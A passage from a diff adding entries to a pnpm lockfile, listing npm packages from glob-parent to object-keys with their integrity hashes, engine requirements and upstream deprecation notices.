sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me + + globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + has-flag@3.0.0: + resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} + engines: {node: '>=4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + has-unicode@2.0.1: + resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==} + + has@1.0.4: + resolution: {integrity: sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==} + engines: {node: '>= 0.4.0'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + http-cache-semantics@4.2.0: + resolution: {integrity: sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==} + + http-errors@2.0.1: + resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} + engines: {node: '>= 0.8'} + + http-proxy-agent@4.0.1: + resolution: {integrity: sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==} + engines: {node: '>= 6'} + + https-proxy-agent@5.0.1: + resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==} + engines: {node: '>= 6'} + + humanize-ms@1.2.1: + resolution: {integrity: sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==} + + iconv-lite@0.4.24: + resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} + engines: {node: '>=0.10.0'} + + iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} + + ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} + + ignore-by-default@1.0.1: + resolution: {integrity: sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + indent-string@4.0.0: + resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} + engines: {node: '>=8'} + + infer-owner@1.0.4: + resolution: {integrity: sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==} + + inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + + into-stream@6.0.0: + resolution: {integrity: sha512-XHbaOAvP+uFKUFsOgoNPRjLkwB+I22JFPFe5OjTkQ0nwgj6+pSjb4NmB6VMxaPshLiOf+zcpOCBQuLwC1KHhZA==} + engines: {node: '>=10'} + + inversify@6.1.4: + resolution: {integrity: sha512-PbxrZH/gTa1fpPEEGAjJQzK8tKMIp5gRg6EFNJlCtzUcycuNdmhv3uk5P8Itm/RIjgHJO16oQRLo9IHzQN51bA==} + + ip-address@10.1.0: + resolution: {integrity: sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==} + engines: {node: '>= 12'} + + ipaddr.js@1.9.1: + resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} + engines: {node: '>= 0.10'} + + is-arguments@1.2.0: + resolution: {integrity: sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==} + engines: {node: '>= 0.4'} + + is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + + is-buffer@1.1.6: + resolution: {integrity: sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + + is-core-module@2.9.0: + resolution: {integrity: sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-generator-function@1.1.2: + resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==} + engines: {node: '>= 0.4'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-lambda@1.0.1: + resolution: {integrity: sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==} + + is-nan@1.3.2: + resolution: {integrity: sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + + is-stream@2.0.1: + resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} + engines: {node: '>=8'} + + is-typed-array@1.1.15: + resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} + engines: {node: '>= 0.4'} + + isarray@1.0.0: + resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + javascript-obfuscator@4.2.2: + resolution: {integrity: sha512-+7oXAUnFCA6vS0omIGHcWpSr67dUBIF7FKGYSXyzxShSLqM6LBgdugWKFl0XrYtGWyJMGfQR5F4LL85iCefkRA==} + engines: {node: '>=18.0.0'} + hasBin: true + + js-string-escape@1.0.1: + resolution: {integrity: sha512-Smw4xcfIQ5LVjAOuJCvN/zIodzA/BBSsluuoSykP+lUvScIi4U6RJLfwHet5cxFnCswUjISV8oAXaqaJDY3chg==} + engines: {node: '>= 0.8'} + + jsesc@2.5.2: + resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==} + engines: {node: '>=4'} + hasBin: true + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json-schema-typed@8.0.2: + resolution: {integrity: sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==} + + jsonfile@6.2.0: + resolution: {integrity: sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==} + + jsonwebtoken@9.0.3: + resolution: {integrity: sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==} + engines: {node: '>=12', npm: '>=6'} + + jwa@2.0.1: + resolution: {integrity: sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==} + + jws@4.0.1: + resolution: {integrity: sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==} + + kuler@2.0.0: + resolution: {integrity: sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==} + + levn@0.3.0: + resolution: {integrity: sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==} + engines: {node: '>= 0.8.0'} + + libphonenumber-js@1.12.36: + resolution: {integrity: sha512-woWhKMAVx1fzzUnMCyOzglgSgf6/AFHLASdOBcchYCyvWSGWt12imw3iu2hdI5d4dGZRsNWAmWiz37sDKUPaRQ==} + + lodash.includes@4.3.0: + resolution: {integrity: sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==} + + lodash.isboolean@3.0.3: + resolution: {integrity: sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==} + + lodash.isinteger@4.0.4: + resolution: {integrity: sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==} + + lodash.isnumber@3.0.3: + resolution: {integrity: sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==} + + lodash.isplainobject@4.0.6: + resolution: {integrity: sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==} + + lodash.isstring@4.0.1: + resolution: {integrity: sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==} + + lodash.once@4.1.1: + resolution: {integrity: sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==} + + logform@2.7.0: + resolution: {integrity: sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==} + engines: {node: '>= 12.0.0'} + + lru-cache@6.0.0: + resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==} + engines: {node: '>=10'} + + make-error@1.3.6: + resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==} + + make-fetch-happen@9.1.0: + resolution: {integrity: sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==} + engines: {node: '>= 10'} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + md5@2.3.0: + resolution: {integrity: sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==} + + media-typer@0.3.0: + resolution: {integrity: sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==} + engines: {node: '>= 0.6'} + + merge-descriptors@1.0.3: + resolution: {integrity: sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + methods@1.1.2: + resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} + engines: {node: '>= 0.6'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + mime@1.6.0: + resolution: {integrity: sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==} + engines: {node: '>=4'} + hasBin: true + + mimic-function@5.0.1: + resolution: {integrity: sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==} + engines: {node: '>=18'} + + mimic-response@3.1.0: + resolution: {integrity: sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==} + engines: {node: '>=10'} + + minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + + minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + + minipass-collect@1.0.2: + resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==} + engines: {node: '>= 8'} + + minipass-fetch@1.4.1: + resolution: {integrity: sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==} + engines: {node: '>=8'} + + minipass-flush@1.0.5: + resolution: {integrity: sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==} + engines: {node: '>= 8'} + + minipass-pipeline@1.2.4: + resolution: {integrity: sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==} + engines: {node: '>=8'} + + minipass-sized@1.0.3: + resolution: {integrity: sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==} + engines: {node: '>=8'} + + minipass@3.3.6: + resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} + engines: {node: '>=8'} + + minipass@5.0.0: + resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} + engines: {node: '>=8'} + + minizlib@2.1.2: + resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} + engines: {node: '>= 8'} + + mkdirp-classic@0.5.3: + resolution: {integrity: sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==} + + mkdirp@0.5.6: + resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} + hasBin: true + + mkdirp@1.0.4: + resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} + engines: {node: '>=10'} + hasBin: true + + mkdirp@3.0.1: + resolution: {integrity: sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==} + engines: {node: '>=10'} + hasBin: true + + ms@2.0.0: + resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + multer@2.0.2: + resolution: {integrity: sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw==} + engines: {node: '>= 10.16.0'} + + multimatch@5.0.0: + resolution: {integrity: sha512-ypMKuglUrZUD99Tk2bUQ+xNQj43lPEfAeX2o9cTteAmShXy2VHDJpuwu1o0xqoKCt9jLVAvwyFKdLTPXKAfJyA==} + engines: {node: '>=10'} + + multistream@4.1.0: + resolution: {integrity: sha512-J1XDiAmmNpRCBfIWJv+n0ymC4ABcf/Pl+5YvC5B/D2f/2+8PtHvCNxMPKiQcZyi922Hq69J2YOpb1pTywfifyw==} + + napi-build-utils@1.0.2: + resolution: {integrity: sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==} + + napi-build-utils@2.0.0: + resolution: {integrity: sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==} + + negotiator@0.6.3: + resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} + engines: {node: '>= 0.6'} + + negotiator@0.6.4: + resolution: {integrity: sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==} + engines: {node: '>= 0.6'} + + node-abi@3.87.0: + resolution: {integrity: sha512-+CGM1L1CgmtheLcBuleyYOn7NWPVu0s0EJH2C4puxgEZb9h8QpR9G2dBfZJOAUhi7VQxuBPMd0hiISWcTyiYyQ==} + engines: {node: '>=10'} + + node-addon-api@7.1.1: + resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} + + node-fetch@2.7.0: + resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==} + engines: {node: 4.x || >=6.0.0} + peerDependencies: + encoding: ^0.1.0 + peerDependenciesMeta: + encoding: + optional: true + + node-gyp@8.4.1: + resolution: {integrity: sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==} + engines: {node: '>= 10.12.0'} + hasBin: true + + nodemon@3.1.11: + resolution: {integrity: sha512-is96t8F/1//UHAjNPHpbsNY46ELPpftGUoSVNXwUfMk/qdjSylYrWSu1XavVTBOn526kFiOR733ATgNBCQyH0g==} + engines: {node: '>=10'} + hasBin: true + + nopt@5.0.0: + resolution: {integrity: sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==} + engines: {node: '>=6'} + hasBin: true + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + npmlog@6.0.2: + resolution: {integrity: sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + deprecated: This package is no longer supported. + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + + object-is@1.1.6: + resolution: {integrity: sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: 